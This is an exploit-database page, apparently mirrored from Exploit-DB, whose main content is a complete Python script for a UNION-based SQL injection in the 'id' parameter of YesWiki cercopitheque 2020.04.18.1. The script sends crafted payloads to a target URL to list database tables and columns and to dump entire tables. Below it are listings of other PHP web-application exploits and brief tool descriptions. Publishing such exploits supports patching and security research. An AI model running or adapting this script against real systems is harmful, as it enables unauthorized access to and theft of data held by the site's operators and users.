Search for hundreds of thousands of exploits

"YesWiki cercopitheque 2020.04.18.1 - 'id' SQL Injection"

Author

Exploit author

coiffeur

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# Exploit Title: YesWiki cercopitheque 2020.04.18.1 - 'id' SQL Injection
# Date: 2020-04-25
# Exploit Author: coiffeur
# Vendor Homepage: https://yeswiki.net/
# Software Link: https://yeswiki.net/, https://github.com/YesWiki/yeswiki
# Version: YesWiki cercopitheque < 2020-04-18-1

import sys

import requests

DEBUG = 0


def usage():
    banner = """NAME: YesWiki cercopitheque 2020-04-18-1, SQLi
SYNOPSIS: python sqli_2020.04.18.1.py <URL> [OPTIONS]...
DESCRIPTION:
    -lt, list tables.
    -dt <TABLE>, dump table.
AUTHOR: coiffeur
    """
    print(banner)


def parse(text):
    deli_l = 'ABCAABBCC|'
    deli_r = '|ABCAABBCC'
    if (text.find(deli_l) == -1) or (text.find(deli_r) == -1):
        print('[x] Delimiter not found, please try to switch to a Time Based SQLi')
        exit(-1)
    start = text.find(deli_l) + len(deli_l)
    end = start + text[start::].find(deli_r)
    return text[start:end]


def render(elements):
    print(elements)

def get_count(t_type, table_name=None, column_name=None):
    if t_type == 'table':
        payload = '?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count(TABLE_NAME),0x7c,0x414243414142424343) FROM information_schema.tables),NULL,NULL,NULL,NULL,NULL-- -'
        if DEBUG > 1:
            print(f'[DEBUG] {payload}')
        r = requests.get(url=f'{sys.argv[1]}{payload}')
        if r.status_code == 200:
            data = parse(r.text)
    if t_type == 'column':
        payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count(COLUMN_NAME),0x7c,0x414243414142424343) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "{table_name}"),NULL,NULL,NULL,NULL,NULL-- -'
        if DEBUG > 1:
            print(f'[DEBUG] {payload}')
        r = requests.get(url=f'{sys.argv[1]}{payload}')
        data = parse(r.text)
    if t_type == 'element':
        payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count({column_name}),0x7c,0x414243414142424343) FROM {table_name}),NULL,NULL,NULL,NULL,NULL-- -'
        if DEBUG > 1:
            print(f'[DEBUG] {payload}')
        r = requests.get(url=f'{sys.argv[1]}{payload}')
        data = parse(r.text)
    return int(data)


def list_tables():
    tables_count = get_count(t_type='table')
    print(f'[+] Tables found: {tables_count}')

    tables = []
    for i in range(0, tables_count):
        payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,TABLE_NAME,0x7c,0x414243414142424343) FROM information_schema.tables LIMIT 1 OFFSET {i}),NULL,NULL,NULL,NULL,NULL-- -'
        if DEBUG > 1:
            print(f'[DEBUG] {payload}')
        r = requests.get(url=f'{sys.argv[1]}{payload}')
        if r.status_code == 200:
            talbe = parse(r.text)
            print(f'\t{talbe}')
            tables.append(talbe)
    return tables


def list_columns(table_name):
    columns_count = get_count(t_type='column', table_name=table_name)
    print(f'[+] Columns found: {columns_count}')

    columns = []
    for i in range(0, columns_count):
        payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,COLUMN_NAME,0x7c,0x414243414142424343) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "{table_name}" LIMIT 1 OFFSET {i}),NULL,NULL,NULL,NULL,NULL-- -'
        if DEBUG > 1:
            print(f'[DEBUG] {payload}')
        r = requests.get(url=f'{sys.argv[1]}{payload}')
        if r.status_code == 200:
            column = parse(r.text)
            if DEBUG > 0:
                print(f'\t{column}')
            columns.append(column)
    return columns


def dump_table(name):
    columns = list_columns(name)
    elements = [None]*len(columns)
    for i in range(0, len(columns)):
        elements_count = get_count(
            t_type='element', table_name=name, column_name=columns[i])
        if DEBUG > 0:
            print(f'[+] Dumping: {columns[i]} ({elements_count} rows)')
        element = []
        for j in range(0, elements_count):
            payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,{columns[i]},0x7c,0x414243414142424343) FROM {name} LIMIT 1 OFFSET {j}),NULL,NULL,NULL,NULL,NULL-- -'
            if DEBUG > 1:
                print(f'[DEBUG] {payload}')
            r = requests.get(url=f'{sys.argv[1]}{payload}')
            if r.status_code == 200:
                element.append(parse(r.text))
                if DEBUG > 0:
                    print(f'\t{element[-1]}')
        elements[i] = element
    render(elements)
    return elements


def main():
    if len(sys.argv) < 3:
        print(usage())
        exit(-1)

    if sys.argv[2] == '-lt':
        list_tables()

    if sys.argv[2] == '-dt':
        dump_table(sys.argv[3])


if __name__ == "__main__":
    main()
Release DateTitleTypePlatformAuthor
2020-09-18"Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)"webappsphp"Nikolas Geiselman"
2020-09-16"Piwigo 2.10.1 - Cross Site Scripting"webappsphpIridium
2020-09-15"ThinkAdmin 6 - Arbitrarily File Read"webappsphpHzllaga
2020-09-15"Tailor MS 1.0 - Reflected Cross-Site Scripting"webappsphpboku
2020-09-14"Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)"webappsphp"Mehmet Kelepçe"
2020-09-10"CuteNews 2.1.2 - Remote Code Execution"webappsphp"Musyoka Ian"
2020-09-09"Tailor Management System - 'id' SQL Injection"webappsphpMosaaed
2020-09-07"grocy 2.7.1 - Persistent Cross-Site Scripting"webappsphp"Mufaddal Masalawala"
2020-09-03"BloodX CMS 1.0 - Authentication Bypass"webappsphpBKpatron
2020-09-03"Daily Tracker System 1.0 - Authentication Bypass"webappsphp"Adeeb Shah"
Release DateTitleTypePlatformAuthor
2020-07-01"PHP-Fusion 9.03.60 - PHP Object Injection"webappsphpcoiffeur
2020-05-21"PHPFusion 9.03.50 - Persistent Cross-Site Scripting"webappsphpcoiffeur
2020-05-06"YesWiki cercopitheque 2020.04.18.1 - 'id' SQL Injection"webappsphpcoiffeur
2020-04-20"WordPress Plugin Simple File List 5.4 - Remote Code Execution"webappsphpcoiffeur
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48432/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.